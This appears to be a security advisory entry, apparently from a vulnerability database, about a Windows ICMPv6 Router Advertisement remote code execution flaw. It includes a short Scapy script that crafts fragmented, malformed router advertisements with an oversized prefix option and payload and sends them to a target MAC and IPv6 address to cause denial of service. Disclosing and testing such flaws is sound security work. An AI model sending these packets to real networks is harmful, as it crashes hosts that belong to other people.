Microsoft Windows ICMPv6 Router Advertisement Remote Code Execution Vulnerability

Microsoft Windows ICMPv6 Router Advertisement Remote Code Execution Vulnerability

The following commands using the Scapy6 packet manipulation program can trigger this issue and cause a denial-of-service condition:

v6_dst = "<IPv6 address>"

mac_dst = "<Mac address>"

pkt = IPv6(dst=v6_dst, hlim=255) / IPv6ExtHdrFragment() / ICMPv6ND_RA() / ICMPv6NDOptPrefixInfo(len=255, prefixlen=64, prefix="2001::") / Raw(load='A'*2008)

l=fragment6(pkt, 1500)

for p in l:
sendp(Ether(dst=mac_dst)/p, iface="eth0")

Currently we are not aware of any working exploits. If you feel we are in error or if you are aware of more recent information, please mail us at: vuldb@securityfocus.com.